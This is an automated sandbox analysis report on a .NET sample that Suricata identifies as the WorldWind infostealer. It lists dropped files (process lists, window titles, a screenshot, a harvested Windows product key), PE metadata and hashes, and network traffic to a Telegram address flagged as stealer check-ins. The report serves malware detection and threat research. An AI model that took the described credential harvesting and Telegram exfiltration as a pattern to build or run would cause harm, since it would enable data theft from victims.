SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20536
Entropy (8bit):	5.705269261939571
Encrypted:	false
SSDEEP:	96:jhW8WWb/dW86W8QWSRW82W86WyKoC238oW7KUWqPWt+WnzNWLIWiAcW8pWyUEfwf:/zK6UEY6mIFu6wtqAoK0Wytz1Cjc2
MD5:	3AF861A5418F6D6A67DA666E0D0D1B22
SHA1:	6CB647BBA6FFD20CF93FEDD288B9FAEC2E6FEB9E
SHA-256:	F3DF35B51D6DF1FE5ADED45F692897671A159D6B090DB17373EBC3E9CD2686DE
SHA-512:	0434DAAB47BCC296C5E4FC8ED664E00363729639CBCD1F31FA38DE9AC4933A93EA7FE7AF8F75843F9B1C94EA00FE100F78CA6D84C661D9B761E67E5603A5CE8E
Malicious:	false
Preview:	NAME: svchost..PID: 6032..EXE: ..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..PID: 5600..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..PID: 6800..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: explorer..PID: 2580..EXE: C:\Windows\Explorer.EXE..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..PID: 7112..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..PID: 6488..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..PID: 6024..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: fontdrvhost..PID: 784..EXE: C:\Windows\system32\fontdrvhost.exe..NAME: smartscreen..PID: 5584..EXE:

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.479561393367673
Encrypted:	false
SSDEEP:	3:RIvIQdQhz:uAQ6hz
MD5:	66B1EBCE73BFF3419E295486FC20544A
SHA1:	6C94CB932223D2EF4055CF0C5FCA9E4DBBD6B436
SHA-256:	1B3B6F592CD9949ADA45A949C71ED55840254A12DB025D9DB4C52E3746ABBCB5
SHA-512:	EA58CB43C4105B972FDB24D4B88E94884972F79ECF209B33DC307A8D185692484479A56E62E403A209A677D107A3568DFCBC90DFB4CE56BE6BAA4EB5D2C2F886
Malicious:	false
Preview:	PJN2R-WQJHW-W39XJ-WH7JJ-77XWC

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16748
Entropy (8bit):	5.6553235498915
Encrypted:	false
SSDEEP:	96:G9W86W8hW8GW8MW89W8aW82W8sW8OUW8bW8aWt59BW8MW8gW8dW8XWcyzqRCW8bK:xmAO
MD5:	83F6601037577D66117D68343F8F2D7E
SHA1:	A69B3EEF652FA31EEF3770276B425E9311BE4918
SHA-256:	CF8395B7436934322C21014E271D2900F7467BAFB3072DB863F189A06EC02042
SHA-512:	0A7937833A19BD1308CC34FD42D2497A4C90CEC39DEEFB6D0214E350D864E7290D2FF1DFBCB54113BFD62110C41F2980C9A5AE200384F40B56917A0E7AF863FA
Malicious:	false
Preview:	NAME: EhdBAShkhnnXRZBHdlbBTqgRh..TITLE: New Tab - Google Chrome..PID: 5600..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..TITLE: New Tab - Google Chrome..PID: 6800..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..TITLE: New Tab - Google Chrome..PID: 7112..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..TITLE: New Tab - Google Chrome..PID: 6488..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..TITLE: New Tab - Google Chrome..PID: 6024..EXE: C:\Program Files (x86)\aOZkqkfiuUmkzYYYidTkTcXSOIITDsDnEymXyuypYPJnnVjhiUwfYkJhc\EhdBAShkhnnXRZBHdlbBTqgRh.exe..NAME: EhdBAShkhnnXRZBHdlbBTqgRh..TI

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\System\WorldWind.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	86015
Entropy (8bit):	7.850145592161015
Encrypted:	false
SSDEEP:	1536:CHbL+YJoEoj3MX2hGCUtKS8Yy64p2RWIB6P3GCLcqBAM38tnCc5mWgK:+/+Y2EojcIdYy1pXP3ZjAkJc4K
MD5:	FBDDFB60909562D882E97471E987824D
SHA1:	D523B09E753C158D16C7DCAB085E324764EA0743
SHA-256:	28027393766F40C4A85876363A2A3FA9EA6C2FCF42C83858BD30E2C286906429
SHA-512:	ABC5580F9F1144E140557CA936C6599C90BBE407F6E63BC95A7535019422B0D85890BE15033E38471C002537613B0112DD892822D2FD302EFCB979024B2BB4C5
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.*bi.F.xJ.5KC"...N...m.g....Uf.....?.2......Q.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-v.....Z..tN.Lo..?.Xb1....Oc....&...W.8.+.?.]._.....G.R....n..............z...........w..#.......`..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.896984699121707
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	viVOqZjAT0.exe
File size:	179'200 bytes
MD5:	19f436930646f3e8f283fa71f2a4cbcb
SHA1:	99397666d23ddde6078496ee73bde00ae9403393
SHA256:	40e64ea2d9253f93606f6f62966f05e2bb300e03e82ecd54c5dcba5640df0dff
SHA512:	addba9ff5bd334ddfec06f87d2c69c06028b82d0aab732f73ef35e84f46d889f48ab6823371a9b9f415e2758e62270866682b833bca7406354802e0157314e0d
SSDEEP:	3072:+e8p6ewdOIwQx76vK/bvTv0cU+lL/dMlZZUZ0b2gTDwARE+WpCc:W6ewwIwQJ6vKX0c5MlYZ0b2E
TLSH:	7F045B5837D80A15F3BE5FB8F4B012118B71B477AA1AE75F18E920EE0D62351E911FA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x42d1be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A7E09C [Mon Jul 29 18:34:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d16c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2b1c4	0x2b200	934d5c4df02aede14294597db7f5502d	False	0.46038836050724635	data	5.924442193872815	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2e000	0x600	0x600	ccd2ec796af2f339686e45e5513c2caf	False	0.4140625	data	4.029504312109572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x30000	0xc	0x200	8e19c1ec6db51c8435749ecf42a022c8	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2e0a0	0x30c	data			0.4269230769230769
RT_MANIFEST	0x2e3ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-31T07:07:14.930856+0200	TCP	2044766	ET MALWARE WorldWind Stealer Checkin via Telegram (GET)	49732	443	192.168.2.4	149.154.167.220
2024-07-31T07:07:15.838102+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49733	443	192.168.2.4	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 31, 2024 07:07:12.098402023 CEST	49730	80	192.168.2.4	104.16.185.241
Jul 31, 2024 07:07:12.103436947 CEST	80	49730	104.16.185.241	192.168.2.4
Jul 31, 2024 07:07:12.103521109 CEST	49730	80	192.168.2.4	104.16.185.241
Jul 31, 2024 07:07:12.104162931 CEST	49730	80	192.168.2.4	104.16.185.241
Jul 31, 2024 07:07:12.109013081 CEST	80	49730	104.16.185.241	192.168.2.4
Jul 31, 2024 07:07:12.806792974 CEST	80	49730	104.16.185.241	192.168.2.4
Jul 31, 2024 07:07:12.807862043 CEST	80	49730	104.16.185.241	192.168.2.4
Jul 31, 2024 07:07:12.807934046 CEST	49730	80	192.168.2.4	104.16.185.241
Jul 31, 2024 07:07:12.879749060 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:12.879774094 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:12.879884005 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:12.890034914 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:12.890067101 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:13.387677908 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:13.387757063 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:13.391773939 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:13.391791105 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:13.392193079 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:13.430865049 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:13.476494074 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:14.000611067 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:14.000688076 CEST	443	49731	104.21.44.66	192.168.2.4
Jul 31, 2024 07:07:14.000947952 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:14.017129898 CEST	49731	443	192.168.2.4	104.21.44.66
Jul 31, 2024 07:07:14.019680023 CEST	49730	80	192.168.2.4	104.16.185.241
Jul 31, 2024 07:07:14.027661085 CEST	80	49730	104.16.185.241	192.168.2.4
Jul 31, 2024 07:07:14.027801991 CEST	49730	80	192.168.2.4	104.16.185.241
Jul 31, 2024 07:07:14.034804106 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.034898043 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.035026073 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.035321951 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.035371065 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.683511972 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.683590889 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.686283112 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.686301947 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.686645985 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.687787056 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.687830925 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.930754900 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.930799961 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.930851936 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.930876970 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.930937052 CEST	443	49732	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.930995941 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.931552887 CEST	49732	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.937910080 CEST	49733	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.937933922 CEST	443	49733	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:14.938011885 CEST	49733	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.938221931 CEST	49733	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:14.938241005 CEST	443	49733	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:15.561162949 CEST	443	49733	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:15.562761068 CEST	49733	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:15.562774897 CEST	443	49733	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:15.838089943 CEST	443	49733	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:15.838213921 CEST	443	49733	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:15.838263988 CEST	49733	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:15.838589907 CEST	49733	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:15.929517031 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:15.929533005 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:15.929652929 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:15.930639029 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:15.930650949 CEST	443	49734	149.154.167.220	192.168.2.4
